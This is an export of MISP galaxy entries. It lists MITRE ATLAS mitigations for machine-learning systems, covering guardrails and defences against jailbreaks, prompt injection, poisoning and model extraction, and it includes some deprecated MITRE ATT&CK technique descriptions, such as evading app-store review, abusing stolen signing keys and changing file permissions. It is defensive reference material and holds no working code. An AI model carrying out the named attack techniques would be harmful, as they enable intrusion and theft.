The tag is: *misp-galaxy:mitre-atlas-course-of-action="Limit Public Release of Information"*

View relationships graph

Limit Public Release of Information has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Search for Victim's Publicly Available Research Materials" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Search Application Repositories" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Acquire Public ML Artifacts" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Search Victim-Owned Websites" with estimative-language:likelihood-probability="almost-certain"

Table 7893. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0000

Limit Model Artifact Release

Limit public release of technical project details including data, algorithms, model architectures, and model checkpoints that are used in production, or that are representative of those used in production.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Limit Model Artifact Release"*

View relationships graph

Limit Model Artifact Release has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Poison Training Data" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Datasets" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Models" with estimative-language:likelihood-probability="almost-certain"

Table 7894. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0001

Passive ML Output Obfuscation

Decreasing the fidelity of model outputs provided to the end user can reduce an adversaries ability to extract information about the model and optimize attacks for the model.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Passive ML Output Obfuscation"*

View relationships graph

Passive ML Output Obfuscation has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Infer Training Data Membership" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Discover ML Model Ontology" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Black-Box Optimization" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Discover ML Model Family" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Invert ML Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Extract ML Model" with estimative-language:likelihood-probability="almost-certain"

Table 7895. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0002

Model Hardening

Use techniques to make machine learning models robust to adversarial inputs such as adversarial training or network distillation.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Model Hardening"*

View relationships graph

Model Hardening has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Evade ML Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Erode ML Model Integrity" with estimative-language:likelihood-probability="almost-certain"

Table 7896. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0003

Restrict Number of ML Model Queries

Limit the total number and rate of queries a user can perform.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Restrict Number of ML Model Queries"*

View relationships graph

Restrict Number of ML Model Queries has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Spamming ML System with Chaff Data" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Infer Training Data Membership" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Denial of ML Service" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Discover ML Model Ontology" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Cost Harvesting" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Exfiltration via ML Inference API" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Black-Box Optimization" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Discover ML Model Family" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Invert ML Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Extract ML Model" with estimative-language:likelihood-probability="almost-certain"

Table 7897. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0004

Control Access to ML Models and Data at Rest

Establish access controls on internal model registries and limit internal access to production models. Limit access to training data only to approved users.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Control Access to ML Models and Data at Rest"*

View relationships graph

Control Access to ML Models and Data at Rest has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Poison Training Data" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Exfiltration via Cyber Means" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Data" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Inject Payload" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="ML Intellectual Property Theft" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Poison ML Model" with estimative-language:likelihood-probability="almost-certain"

Table 7898. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0005

Use Ensemble Methods

Use an ensemble of models for inference to increase robustness to adversarial inputs. Some attacks

may effectively evade one model or model family but be ineffective against others.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Use Ensemble Methods"*

View relationships graph

Use Ensemble Methods has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Evade ML Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Erode ML Model Integrity" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Discover ML Model Family" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="ML Software" with estimative-language:likelihood-probability="almost-certain"

Table 7899. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0006

Sanitize Training Data

Detect and remove or remediate poisoned training data. Training data should be sanitized prior to model training and recurrently for an active learning model.

Implement a filter to limit ingested training data. Establish a content policy that would remove unwanted content such as certain explicit or offensive language from being used.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Sanitize Training Data"*

View relationships graph

Sanitize Training Data has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Poison Training Data" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Data" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Poison ML Model" with estimative-language:likelihood-probability="almost-certain"

Table 7900. Table References

Links

https://atlas.mitre.org/mitigations/AML.M0007

Validate ML Model

Validate that machine learning models perform as intended by testing for backdoor triggers or adversarial bias. Monitor model for concept drift and training data drift, which may indicate data tampering and poisoning.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Validate ML Model"*

View relationships graph

Validate ML Model has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Inject Payload" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Poison ML Model" with estimative-language:likelihood-probability="almost-certain"

Table 7901. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0008

Use Multi-Modal Sensors

Incorporate multiple sensors to integrate varying perspectives and modalities to avoid a single point of failure susceptible to physical attacks.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Use Multi-Modal Sensors"*

View relationships graph

Use Multi-Modal Sensors has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Evade ML Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Physical Environment Access" with estimative-language:likelihood-probability="almost-certain"

Table 7902. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0009

Input Restoration

Preprocess all inference data to nullify or reverse potential adversarial perturbations.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Input Restoration"*

View relationships graph

Input Restoration has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Evade ML Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Erode ML Model Integrity" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Black-Box Optimization" with estimative-language:likelihood-probability="almost-certain"

Table 7903. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0010

Restrict Library Loading

Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.

File formats such as pickle files that are commonly used to store machine learning models can contain exploits that allow for loading of malicious libraries.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Restrict Library Loading"*

View relationships graph

Restrict Library Loading has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Unsafe ML Artifacts" with estimative-language:likelihood-probability="almost-certain"

Table 7904. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0011

Encrypt Sensitive Information

Encrypt sensitive data such as ML models to protect against adversaries attempting to access sensitive data.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Encrypt Sensitive Information"*

View relationships graph

Encrypt Sensitive Information has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Discover ML Artifacts" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="ML Intellectual Property Theft" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="ML Artifact Collection" with estimative-language:likelihood-probability="almost-certain"

Table 7905. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0012

Code Signing

Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing. Adversaries can embed malicious code in ML software or models. Enforcement of code signing can prevent the compromise of the machine learning supply chain and prevent execution of malicious code.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Code Signing"*

View relationships graph

Code Signing has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Unsafe ML Artifacts" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="ML Software" with estimative-language:likelihood-probability="almost-certain"

Table 7906. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0013

Verify ML Artifacts

Verify the cryptographic checksum of all machine learning artifacts to verify that the file was not modified by an attacker.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Verify ML Artifacts"*

View relationships graph

Verify ML Artifacts has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Unsafe ML Artifacts" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="ML Supply Chain Compromise" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Publish Poisoned Datasets" with estimative-language:likelihood-probability="almost-certain"

Table 7907. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0014

Adversarial Input Detection

Detect and block adversarial inputs or atypical queries that deviate from known benign behavior, exhibit behavior patterns observed in previous attacks or that come from potentially malicious IPs. Incorporate adversarial detection algorithms into the ML system prior to the ML model.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Adversarial Input Detection"*

View relationships graph

Adversarial Input Detection has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Evade ML Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Erode ML Model Integrity" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Denial of ML Service" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Black-Box Optimization" with estimative-language:likelihood-probability="almost-certain"

Table 7908. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0015

Vulnerability Scanning

Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate

them.

File formats such as pickle files that are commonly used to store machine learning models can contain exploits that allow for arbitrary code execution. Both model artifacts and downstream products produced by models should be scanned for known vulnerabilities.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Vulnerability Scanning"*

View relationships graph

Vulnerability Scanning has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Unsafe ML Artifacts" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Backdoor ML Model" with estimative-language:likelihood-probability="almost-certain"

Table 7909. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0016

Model Distribution Methods

Deploying ML models to edge devices can increase the attack surface of the system. Consider serving models in the cloud to reduce the level of access the adversary has to the model. Also consider computing features in the cloud to prevent gray-box attacks, where an adversary has access to the model preprocessing methods.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Model Distribution Methods"*

View relationships graph

Model Distribution Methods has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Full ML Model Access" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="White-Box Optimization" with estimative-language:likelihood-probability="almost-certain"

Table 7910. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0017

User Training

Educate ML model developers on secure coding practices and ML vulnerabilities.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="User Training"*

View relationships graph

User Training has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="User Execution" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Unsafe ML Artifacts" with estimative-language:likelihood-probability="almost-certain"

Table 7911. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0018

Control Access to ML Models and Data in Production

Require users to verify their identities before accessing a production model. Require authentication for API endpoints and monitor production model queries to ensure compliance with usage policies and to prevent model misuse.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Control Access to ML Models and Data in Production"*

View relationships graph

Control Access to ML Models and Data in Production has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="AI Model Inference API Access" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Exfiltration via ML Inference API" with estimative-language:likelihood-probability="almost-certain"

Table 7912. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0019

Generative AI Guardrails

Guardrails are safety controls that are placed between a generative AI model and the output shared with the user to prevent undesired inputs and outputs. Guardrails can take the form of validators such as filters, rule-based logic, or regular expressions, as well as AI-based approaches, such as

classifiers and utilizing LLMs, or named entity recognition (NER) to evaluate the safety of the prompt or response. Domain specific methods can be employed to reduce risks in a variety of areas such as etiquette, brand damage, jailbreaking, false information, code exploits, SQL injections, and data leakage.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Generative AI Guardrails"*

View relationships graph

Generative AI Guardrails has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Jailbreak" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Prompt Injection" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Data Leakage" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Plugin Compromise" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="ML Supply Chain Compromise" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Meta Prompt Extraction" with estimative-language:likelihood-probability="almost-certain"

Table 7913. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0020

Generative AI Guidelines

Guidelines are safety controls that are placed between user-provided input and a generative AI model to help direct the model to produce desired outputs and prevent undesired outputs.

Guidelines can be implemented as instructions appended to all user prompts or as part of the instructions in the system prompt. They can define the goal(s), role, and voice of the system, as well as outline safety and security parameters.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Generative AI Guidelines"*

View relationships graph

Generative AI Guidelines has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Jailbreak" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Prompt Injection" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Data Leakage" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Plugin Compromise" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Meta Prompt Extraction" with estimative-language:likelihood-probability="almost-certain"

Table 7914. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0021

Generative AI Model Alignment

When training or fine-tuning a generative AI model it is important to utilize techniques that improve model alignment with safety, security, and content policies.

The fine-tuning process can potentially remove built-in safety mechanisms in a generative AI model, but utilizing techniques such as Supervised Fine-Tuning, Reinforcement Learning from Human Feedback or AI Feedback, and Targeted Safety Context Distillation can improve the safety and alignment of the model.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Generative AI Model Alignment"*

View relationships graph

Generative AI Model Alignment has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Jailbreak" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Prompt Injection" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Data Leakage" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Plugin Compromise" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Meta Prompt Extraction" with estimative-language:likelihood-probability="almost-certain"

Table 7915. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0022

AI Bill of Materials

An AI Bill of Materials (AI BOM) contains a full listing of artifacts and resources that were used in building the AI. The AI BOM can help mitigate supply chain risks and enable rapid response to reported vulnerabilities.

This can include maintaining dataset provenance, i.e. a detailed history of datasets used for AI applications. The history can include information about the dataset source as well as well as a complete record of any modifications.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="AI Bill of Materials"*

View relationships graph

AI Bill of Materials has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Poison Training Data" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Unsafe ML Artifacts" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Publish Poisoned Models" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Publish Poisoned Datasets" with estimative-language:likelihood-probability="almost-certain"

Table 7916. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0023

AI Telemetry Logging

Implement logging of inputs and outputs of deployed AI models. Monitoring logs can help to detect security threats and mitigate impacts.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="AI Telemetry Logging"*

View relationships graph

AI Telemetry Logging has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="LLM Prompt Injection" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Infer Training Data Membership" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="AI Model Inference API Access" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Train Proxy via Replication" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Indirect" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Exfiltration via ML Inference API" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="ML-Enabled Product or Service" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Direct" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Invert ML Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Extract ML Model" with estimative-language:likelihood-probability="almost-certain"

Table 7917. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0024

Maintain AI Dataset Provenance

Maintain a detailed history of datasets used for AI applications. The history should include information about the dataset's source as well as a complete record of any modifications.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Maintain AI Dataset Provenance"*

View relationships graph

Maintain AI Dataset Provenance has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Poison Training Data" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Data" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Poison ML Model" with estimative-language:likelihood-probability="almost-certain"

Table 7918. Table References

Links
https://atlas.mitre.org/mitigations/AML.M0025

Attack Pattern

ATT&CK tactic.

Attack Pattern is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Test ability to evade automated mobile application security analysis performed by app stores - T1393

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1393).

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)

The tag is: *misp-galaxy:mitre-attack-pattern="Test ability to evade automated mobile application security analysis performed by app stores - T1393"*

Table 7919. Table References

Links
https://attack.mitre.org/techniques/T1393

Choose pre-compromised mobile app developer account credentials or signing keys - T1391

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1391).

The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer’s identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)

The tag is: *misp-galaxy:mitre-attack-pattern="Choose pre-compromised mobile app developer account credentials or signing keys - T1391"*

Table 7920. Table References

Links
https://attack.mitre.org/techniques/T1391

Enumerate externally facing software applications technologies, languages, and dependencies - T1261

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1261).

Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)

The tag is: *misp-galaxy:mitre-attack-pattern="Enumerate externally facing software applications technologies, languages, and dependencies - T1261"*

Table 7921. Table References

Links
https://attack.mitre.org/techniques/T1261

Obtain Apple iOS enterprise distribution key pair and certificate - T1392

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1392).

The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain Apple iOS enterprise distribution key pair and certificate - T1392"*

Table 7922. Table References

Links
https://attack.mitre.org/techniques/T1392

Analyze social and business relationships, interests, and affiliations - T1295

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1295).

Social media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze social and business relationships, interests, and affiliations - T1295"*

Table 7923. Table References

Links
https://attack.mitre.org/techniques/T1295

Linux and Mac File and Directory Permissions Modification - T1222.002

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform's permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).

Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques)

The tag is: *misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002"*

Table 7924. Table References

Links
https://attack.mitre.org/techniques/T1222/002
https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100

Install and configure hardware, network, and systems - T1336

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1336).

An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)

The tag is: *misp-galaxy:mitre-attack-pattern="Install and configure hardware, network, and systems - T1336"*

Table 7925. Table References

Links
https://attack.mitre.org/techniques/T1336

Compromise 3rd party or closed-source vulnerability/exploit information - T1354

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1354).

There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise 3rd party or closed-source vulnerability/exploit information - T1354"*

Table 7926. Table References

Links

https://attack.mitre.org/techniques/T1354
https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage

Discover new exploits and monitor exploit-provider forums - T1350

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1350).

An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)

The tag is: *misp-galaxy:mitre-attack-pattern="Discover new exploits and monitor exploit-provider forums - T1350"*

Table 7927. Table References

Links
https://attack.mitre.org/techniques/T1350
https://www.threatminer.org/_reports/2015/Equation_group_questions_and_answers.pdf

Acquire and/or use 3rd party software services - T1330

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1330).

A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)

